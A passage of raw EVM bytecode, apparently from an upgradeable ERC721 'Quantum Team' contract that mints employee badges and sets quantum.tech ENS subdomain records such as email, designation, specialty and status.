0c81526020017f5175616e74756d205465616d00000000000000000000000000000000000000008152506040518060400160405280600281526020017f5154000000000000000000000000000000000000000000000000000000000000815250613069565b6109dc61310a565b6109e46131a9565b83516109f89061012d906020870190614325565b508251610a0d9061012e906020860190614325565b5061013780547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff84161790556040805161010081018252600760c082018181527f556e6b6e6f776e0000000000000000000000000000000000000000000000000060e084015282528251808401845260028082527f4d7200000000000000000000000000000000000000000000000000000000000060208084019190915280850192909252845180860186529081527f4d73000000000000000000000000000000000000000000000000000000000000818301528385015283518085018552600581527f4167656e74000000000000000000000000000000000000000000000000000000818301526060840152835180850185529182527f547261696e6565000000000000000000000000000000000000000000000000008282015260808301919091528251808401909352600a83527f5370656369616c697374000000000000000000000000000000000000000000009083015260a0810191909152610baf906101309060066143a9565b508015610bdf57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff1690555b50505050565b600081815260cb602052604081205473ffffffffffffffffffffffffffffffffffffffff16610c96576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e00000000000000000000000000000000000000006064820152608401610918565b50600090815260cd602052604090205473ffffffffffffffffffffffffffffffffffffffff1690565b6000610cca82611f5a565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d88576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f72000000000000000000000000000000000000000000000000000000000000006064820152608401610918565b3373ffffffffffffffffffffffffffffffffffffffff82161480610ddc575073ffffffffffffffffffffffffffffffffffffffff8116600090815260ce6020908152604080832033845290915290205460ff165b610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610918565b610e728383613240565b505050565b60fb5473ffffffffffffffffffffffffffffffffffffffff163314610ef8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610918565b610e728383836132e0565b3073ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000096b8374c70e6626d639c3bd59f0c63ea0461e790161415610fc9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f64656c656761746563616c6c00000000000000000000000000000000000000006064820152608401610918565b7f00000000000000000000000096b8374c70e6626d639c3bd59f0c63ea0461e79073ffffffffffffffffffffffffffffffffffffffff1661103e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff16146110e1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f6163746976652070726f787900000000000000000000000000000000000000006064820152608401610918565b6110ea81613547565b60408051600080825260208201909252611106918391906135c8565b50565b61012d805461111790614a47565b80601f016020809104026020016040519081016040528092919081815260200182805461114390614a47565b80156111905780601f1061116557610100808354040283529160200191611190565b820191906000526020600020905b81548152906001019060200180831161117357829003601f168201915b505050505081565b61013081600681106111a957600080fd5b01805490915061111790614a47565b610e7283838360405180602001604052806000815250612739565b60fb5473ffffffffffffffffffffffffffffffffffffffff163314611254576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610918565b61013754604080518082018252600c81527f7175616e74756d2e746563680000000000000000000000000000000000000000602080830191909152915173ffffffffffffffffffffffffffffffffffffffff90931692635ef2c7f0926112d4926112c092909101614a9b565b6040516020818303038152906040526137d6565b6000848152610136602090815260409182902091516112f7926002019101614b44565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529082905280516020909101207fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1682526004820192909252602481019190915260006044820181905260648201819052608482015260a401600060405180830381600087803b15801561139957600080fd5b505af11580156113ad573d6000803e3d6000fd5b50505060008281526101366020526040812091506113cb82826143f5565b6001820180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690556114036002830160006143f5565b6114116003830160006143f5565b5060040180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055611106816137e3565b3073ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000096b8374c70e6626d639c3bd59f0c63ea0461e79016141561150a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f64656c656761746563616c6c00000000000000000000000000000000000000006064820152608401610918565b7f00000000000000000000000096b8374c70e6626d639c3bd59f0c63ea0461e79073ffffffffffffffffffffffffffffffffffffffff1661157f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1614611622576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f6163746976652070726f787900000000000000000000000000000000000000006064820152608401610918565b61162b82613547565b611637828260016135c8565b5050565b60003073ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000096b8374c70e6626d639c3bd59f0c63ea0461e7901614611702576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603860248201527f555550535570677261646561626c653a206d757374206e6f742062652063616c60448201527f6c6564207468726f7567682064656c656761746563616c6c00000000000000006064820152608401610918565b507f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc90565b60fb5473ffffffffffffffffffffffffffffffffffffffff1633146117a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610918565b80516116379061012d906020840190614325565b60fb5473ffffffffffffffffffffffffffffffffffffffff16331461183d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610918565b6040518060a001604052808281526020018360058111156118605761186061498d565b8152602080820188905260408083018790526000606090930183905261012f548352610136825290912082518051919261189f92849290910190614325565b5060208201516001808301805490917fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00909116908360058111156118e5576118e561498d565b021790555060408201518051611905916002840191602090910190614325565b5060608201518051611921916003840191602090910190614325565b5060808201518160040160006101000a81548160ff02191690831515021790555090505060006119906040518060400160405280600c81526020017f7175616e74756d2e7465636800000000000000000000000000000000000000008152506040516020016112c09190614a9b565b610137546040517f0178b8bf0000000000000000000000000000000000000000000000000000000081526004810183905291925060009173ffffffffffffffffffffffffffffffffffffffff90911690630178b8bf9060240160206040518083038186803b158015611a0157600080fd5b505afa158015611a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a399190614b50565b61013754604080518082018252600c81527f7175616e74756d2e746563680000000000000000000000000000000000000000602080830191909152915193945073ffffffffffffffffffffffffffffffffffffffff90921692635ef2c7f092611aa6926112c09201614a9b565b89604051602001611ab79190614a9b565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529082905280516020909101207fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1682526004820192909252602481019190915230604482015273ffffffffffffffffffffffffffffffffffffffff841660648201526000608482015260a401600060405180830381600087803b158015611b6d57600080fd5b505af1158015611b81573d6000803e3d6000fd5b505050506000611bd2886040518060400160405280600c81526020017f7175616e74756d2e7465636800000000000000000000000000000000000000008152506040516020016112c0929190614b6d565b610137546040517f0178b8bf0000000000000000000000000000000000000000000000000000000081526004810183905291925060009173ffffffffffffffffffffffffffffffffffffffff90911690630178b8bf9060240160206040518083038186803b158015611c4357600080fd5b505afa158015611c57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c7b9190614b50565b6040517fd5fa2b000000000000000000000000000000000000000000000000000000000081526004810184905273ffffffffffffffffffffffffffffffffffffffff8a811660248301529192509082169063d5fa2b0090604401600060405180830381600087803b158015611cef57600080fd5b505af1158015611d03573d6000803e3d6000fd5b50506040517f10f13a8c00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff841692506310f13a8c9150611d5b9085908b90600401614bc5565b600060405180830381600087803b158015611d7557600080fd5b505af1158015611d89573d6000803e3d6000fd5b505050508073ffffffffffffffffffffffffffffffffffffffff166310f13a8c83610130896005811115611dbf57611dbf61498d565b60068110611dcf57611dcf614c12565b016040518363ffffffff1660e01b8152600401611ded929190614c41565b600060405180830381600087803b158015611e0757600080fd5b505af1158015611e1b573d6000803e3d6000fd5b50506040517f10f13a8c00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff841692506310f13a8c9150611e739085908990600401614d20565b600060405180830381600087803b158015611e8d57600080fd5b505af1158015611ea1573d6000803e3d6000fd5b50506040517f10f13a8c00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff841692506310f13a8c9150611ef7908590600401614d6d565b600060405180830381600087803b158015611f1157600080fd5b505af1158015611f25573d6000803e3d6000fd5b50505050611f368861012f546138b0565b600161012f6000828254611f4a9190614e1c565b9091555050505050505050505050565b600081815260cb602052604081205473ffffffffffffffffffffffffffffffffffffffff16806107d9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e00000000000000000000000000000000000000000000006064820152608401610918565b60008061205a836040518060400160405280600c81526020017f7175616e74756d2e7465636800000000000000000000000000000000000000008152506040516020016112c0929190614b6d565b905061206581612c20565b9392505050565b600073ffffffffffffffffffffffffffffffffffffffff8216612111576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610918565b5073ffffffffffffffffffffffffffffffffffffffff16600090815260cc602052604090205490565b60fb5473ffffffffffffffffffffffffffffffffffffffff1633146121bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610918565b6121c56000613a72565b565b60fb5473ffffffffffffffffffffffffffffffffffffffff163314612248576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610918565b6000818152610136602090815260408083206004810180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905581518083018352600c81527f7175616e74756d2e7465636800000000000000000000000000000000000000008185015291516122cb936112c0936002909301929101614e34565b610137546040517f0178b8bf0000000000000000000000000000000000000000000000000000000081526004810183905291925060009173ffffffffffffffffffffffffffffffffffffffff90911690630178b8bf9060240160206040518083038186803b15801561233c57600080fd5b505afa158015612350573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123749190614b50565b6040517f10f13a8c00000000000000000000000000000000000000000000000000000000815290915073ffffffffffffffffffffffffffffffffffffffff8216906310f13a8c906123c9908590600401614d6d565b600060405180830381600087803b1580156123e357600080fd5b505af11580156123f7573d6000803e3d6000fd5b50505050505050565b606060ca80546107ee90614a47565b60fb5473ffffffffffffffffffffffffffffffffffffffff163314612490576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610918565b600082815260cb602052604090205473ffffffffffffffffffffffffffffffffffffffff16151580156124d657506000828152610136602052604090206004015460ff16155b61253c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f696e76616c696420656d706c6f796565000000000000000000000000000000006044820152606401610918565b60008281526101366020908152604080832081518083018352600c81527f7175616e74756d2e746563680000000000000000000000000000000000000000818501529151612595936112c0936002909301929101614e34565b610137546040517f0178b8bf0000000000000000000000000000000000000000000000000000000081526004810183905291925060009173ffffffffffffffffffffffffffffffffffffffff90911690630178b8bf9060240160206040518083038186803b15801561260657600080fd5b505afa15801561261a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061263e9190614b50565b90508073ffffffffffffffffffffffffffffffffffffffff166310f13a8c836101308660058111156126725761267261498d565b6006811061268257612682614c12565b016040518363ffffffff1660e01b81526004016126a0929190614c41565b600060405180830381600087803b1580156126ba57600080fd5b505af11580156126ce573d6000803e3d6000fd5b5050506000858152610136602052604090206001908101805486935090917fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00909116908360058111156127235761272361498d565b021790555050505050565b611637338383613ae9565b60fb5473ffffffffffffffffffffffffffffffffffffffff1633146127ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610918565b610bdf8484846132e0565b60fb5473ffffffffffffffffffffffffffffffffffffffff163314612846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610918565b80516116379061012e906020840190614325565b600081815260cb602052604090205460609073ffffffffffffffffffffffffffffffffffffffff1661290e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006064820152608401610918565b6000828152610136602052604090206004015460ff16612983576000612932613c17565b905060008151116129525760405180602001604052806000815250612065565b8061295c84613c27565b60405160200161296d929190614e76565b6040516020818303038152906040529392505050565b61012e805461299190614a47565b80601f01602080910402602001604051908101604052809291908181526020018280546129bd90614a47565b8015612a0a5780601f106129df57610100808354040283529160200191612a0a565b820191906000526020600020905b8154815290600101906020018083116129ed57829003601f168201915b50505050509050919050565b919050565b60fb5473ffffffffffffffffffffffffffffffffffffffff163314612a9c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610918565b6000818152610136602090815260408083206004810180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905581518083018352600c81527f7175616e74756d2e746563680000000000000000000000000000000000000000818501529151612b22936112c0936002909301929101614e34565b610137546040517f0178b8bf0000000000000000000000000000000000000000000000000000000081526004810183905291925060009173ffffffffffffffffffffffffffffffffffffffff90911690630178b8bf9060240160206040518083038186803b158015612b9357600080fd5b505afa158015612ba7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612bcb9190614b50565b6040517f10f13a8c00000000000000000000000000000000000000000000000000000000815290915073ffffffffffffffffffffffffffffffffffffffff8216906310f13a8c906123c9908590600401614ea5565b610137546040517f0178b8bf00000000000000000000000000000000000000000000000000000000815260048101839052600091829173ffffffffffffffffffffffffffffffffffffffff90911690630178b8bf9060240160206040518083038186803b158015612c9057600080fd5b505afa158015612ca4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cc89190614b50565b6040517f3b3b57de0000000000000000000000000000000000000000000000000000000081526004810185905290915073ffffffffffffffffffffffffffffffffffffffff821690633b3b57de9060240160206040518083038186803b158015612d3157600080fd5b505afa158015612d45573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120659190614b50565b60fb5473ffffffffffffffffffffffffffffffffffffffff163314612dea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610918565b73ffffffffffffffffffffffffffffffffffffffff8116612e8d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610918565b61110681613a72565b61013660205260009081526040902080548190612eb290614a47565b80601f0160208091040260200160405190810160405280929190818152602001828054612ede90614a47565b8015612f2b5780601f10612f0057610100808354040283529160200191612f2b565b820191906000526020600020905b815481529060010190602001808311612f0e57829003601f168201915b5050506001840154600285018054949560ff909216949193509150612f4f90614a47565b80601f0160208091040260200160405190810160405280929190818152602001828054612f7b90614a47565b8015612fc85780601f10612f9d57610100808354040283529160200191612fc8565b820191906000526020600020905b815481529060010190602001808311612fab57829003601f168201915b505050505090806003018054612fdd90614a47565b80601f016020809104026020016040519081016040528092919081815260200182805461300990614a47565b80156130565780601f1061302b57610100808354040283529160200191613056565b820191906000526020600020905b81548152906001019060200180831161303957829003601f168201915b5050506004909301549192505060ff1685565b600054610100900460ff16613100576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610918565b6116378282613d84565b600054610100900460ff166131a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610918565b6121c5613e42565b600054610100900460ff166121c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610918565b600081815260cd6020526040902080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8416908117909155819061329a82611f5a565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b8273ffffffffffffffffffffffffffffffffffffffff1661330082611f5a565b73ffffffffffffffffffffffffffffffffffffffff16146133a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201527f6f776e65720000000000000000000000000000000000000000000000000000006064820152608401610918565b73ffffffffffffffffffffffffffffffffffffffff8216613445576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610918565b613450600082613240565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260cc60205260408120805460019290613486908490614f25565b909155505073ffffffffffffffffffffffffffffffffffffffff8216600090815260cc602052604081208054600192906134c1908490614e1c565b9091555050600081815260cb602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff86811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b60fb5473ffffffffffffffffffffffffffffffffffffffff163314611106576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610918565b7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd91435460ff16156135fb57610e7283613ee2565b8273ffffffffffffffffffffffffffffffffffffffff166352d1902d6040518163ffffffff1660e01b815260040160206040518083038186803b15801561364157600080fd5b505afa92505050801561368f575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820190925261368c91810190614f3c565b60015b61371b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f45524331393637557067726164653a206e657720696d706c656d656e7461746960448201527f6f6e206973206e6f7420555550530000000000000000000000000000000000006064820152608401610918565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc81146137ca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f45524331393637557067726164653a20756e737570706f727465642070726f7860448201527f6961626c655555494400000000000000000000000000000000000000000000006064820152608401610918565b50610e72838383613fec565b60006107d9826000614011565b60006137ee82611f5a565b90506137fb600083613240565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260cc60205260408120805460019290613831908490614f25565b9091555050600082815260cb602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001690555183919073ffffffffffffffffffffffffffffffffffffffff8416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b73ffffffffffffffffffffffffffffffffffffffff821661392d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610918565b600081815260cb602052604090205473ffffffffffffffffffffffffffffffffffffffff16156139b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610918565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260cc602052604081208054600192906139ef908490614e1c565b9091555050600081815260cb602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60fb805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415613b7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610918565b73ffffffffffffffffffffffffffffffffffffffff838116600081815260ce602090815260408083209487168084529482529182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b606061012d80546107ee90614a47565b606081613c6757505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b8115613c915780613c7b81614f55565b9150613c8a9050600a83614f8e565b9150613c6b565b60008167ffffffffffffffff811115613cac57613cac614528565b6040519080825280601f01601f191660200182016040528015613cd6576020820181803683370190505b509050815b8515613d7b57613cec600182614f25565b90506000613cfb600a88614f8e565b613d0690600a614fc9565b613d109088614f25565b613d1b906030615006565b905060008160f81b905080848481518110613d3857613d38614c12565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350613d72600a89614f8e565b97505050613cdb565b50949350505050565b600054610100900460ff16613e1b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610918565b8151613e2e9060c9906020850190614325565b508051610e729060ca906020840190614325565b600054610100900460ff16613ed9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610918565b6121c533613a72565b73ffffffffffffffffffffffffffffffffffffffff81163b613f86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e7472616374000000000000000000000000000000000000006064820152608401610918565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b613ff58361408b565b6000825111806140025750805b15610e7257610bdf83836140d8565b600081835111614023575060006107d9565b600061402f8484614217565b905061404f8461403f8386614e1c565b61404a906001614e1c565b614011565b61405a8585846142ae565b6040805160208101939093528201526060016040516020818303038152906040528051906020012091505092915050565b61409481613ee2565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606073ffffffffffffffffffffffffffffffffffffffff83163b61417e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e747261637400000000000000000000000000000000000000000000000000006064820152608401610918565b6000808473ffffffffffffffffffffffffffffffffffffffff16846040516141a69190614a9b565b600060405180830381855af49150503d80600081146141e1576040519150601f19603f3d011682016040523d82523d6000602084013e6141e6565b606091505b509150915061420e828260405180606001604052806027815260200161502c602791396142d2565b95945050505050565b6000805b83516142278285614e1c565b1415801561429757508361423b8285614e1c565b8151811061424b5761424b614c12565b6020910101517fff00000000000000000000000000000000000000000000000000000000000000167f2e0000000000000000000000000000000000000000000000000000000000000014155b1561206557806142a681614f55565b91505061421b565b82516000906142bd8385614e1c565b11156142c857600080fd5b5091016020012090565b606083156142e1575081612065565b8251156142f15782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109189190614515565b82805461433190614a47565b90600052602060002090601f0160209004810192826143535760008555614399565b82601f1061436c57805160ff1916838001178555614399565b82800160010185558215614399579182015b8281111561439957825182559160200191906001019061437e565b506143a592915061442b565b5090565b82600681019282156143e9579160200282015b828111156143e957825180516143d9918491602090910190614325565b50916020019190600101906143bc565b506143a5929150614440565b50805461440190614a47565b6000825580601f10614411575050565b601f01602090049060005260206000209081019061110691905b5b808211156143a5576000815560010161442c565b808211156143a557600061445482826143f5565b50600101614440565b60006020828403121561446f57600080fd5b81357fffffffff000000000000000000000000000000000000000000000000000000008116811461206557600080fd5b60005b838110156144ba5781810151838201526020016144a2565b83811115610bdf5750506000910152565b600081518084526144e381602086016020860161449f565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b60208152600061206560208301846144cb565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600082601f83011261456857600080fd5b813567ffffffffffffffff8082111561458357614583614528565b604051601f83017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f011681019082821181831017156145c9576145c9614528565b816040528381528660208588010111156145e257600080fd5b836020870160208301376000602085830101528094505050505092915050565b73ffffffffffffffffffffffffffffffffffffffff8116811461110657600080fd5b60008060006060848603121561463957600080fd5b833567ffffffffffffffff8082111561465157600080fd5b61465d87838801614557565b9450602086013591508082111561467357600080fd5b5061468086828701614557565b925050604084013561469181614602565b809150509250925092565b6000602082840312156146ae57600080fd5b5035919050565b600080604083850312156146c857600080fd5b82356146d381614602565b946020939093013593505050565b6000806000606084860312156146f657600080fd5b833561470181614602565b9250602084013561471181614602565b929592945050506040919091013590565b60006020828403121561473457600080fd5b813561206581614602565b6000806040838503121561475257600080fd5b823561475d81614602565b9150602083013567ffffffffffffffff81111561477957600080fd5b61478585828601614557565b9150509250929050565b6000602082840312156147a157600080fd5b813567ffffffffffffffff8111156147b857600080fd5b6147c484828501614557565b949350505050565b803560068110612a1657600080fd5b600080600080600060a086880312156147f357600080fd5b853567ffffffffffffffff8082111561480b57600080fd5b61481789838a01614557565b96506020880135915061482982614602565b9094506040870135908082111561483f57600080fd5b61484b89838a01614557565b9450614859606089016147cc565b9350608088013591508082111561486f57600080fd5b5061487c88828901614557565b9150509295509295909350565b6000806040838503121561489c57600080fd5b823591506148ac602084016147cc565b90509250929050565b600080604083850312156148c857600080fd5b82356148d381614602565b9150602083013580151581146148e857600080fd5b809150509250929050565b6000806000806080858703121561490957600080fd5b843561491481614602565b9350602085013561492481614602565b925060408501359150606085013567ffffffffffffffff81111561494757600080fd5b61495387828801614557565b91505092959194509250565b6000806040838503121561497257600080fd5b823561497d81614602565b915060208301356148e881614602565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b60a0815260006149cf60a08301886144cb565b60068710614a06577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b8660208401528281036040840152614a1e81876144cb565b90508281036060840152614a3281866144cb565b91505082151560808301529695505050505050565b600181811c90821680614a5b57607f821691505b60208210811415614a95577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60008251614aad81846020870161449f565b9190910192915050565b60008154614ac481614a47565b60018281168015614adc5760018114614b0b57614b3a565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00841687528287019450614b3a565b8560005260208060002060005b85811015614b315781548a820152908401908201614b18565b50505082870194505b5050505092915050565b60006120658284614ab7565b600060208284031215614b6257600080fd5b815161206581614602565b60008351614b7f81846020880161449f565b7f2e000000000000000000000000000000000000000000000000000000000000009083019081528351614bb981600184016020880161449f565b01600101949350505050565b82815260606020820152600560608201527f656d61696c000000000000000000000000000000000000000000000000000000608082015260a0604082015260006147c460a08301846144cb565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b82815260006020606081840152600b60608401527f64657369676e6174696f6e000000000000000000000000000000000000000000608084015260a0604084015260008454614c8f81614a47565b8060a087015260c0600180841660008114614cb15760018114614ce357614d11565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff008516838a015260e089019550614d11565b896000528660002060005b85811015614d095781548b8201860152908301908801614cee565b8a0184019650505b50939998505050505050505050565b82815260606020820152600960608201527f7370656369616c74790000000000000000000000000000000000000000000000608082015260a0604082015260006147c460a08301846144cb565b818152606060208201526000614db060608301600681527f7374617475730000000000000000000000000000000000000000000000000000602082015260400190565b828103604093840152600481527f6f6b61790000000000000000000000000000000000000000000000000000000060208201529190910192915050565b7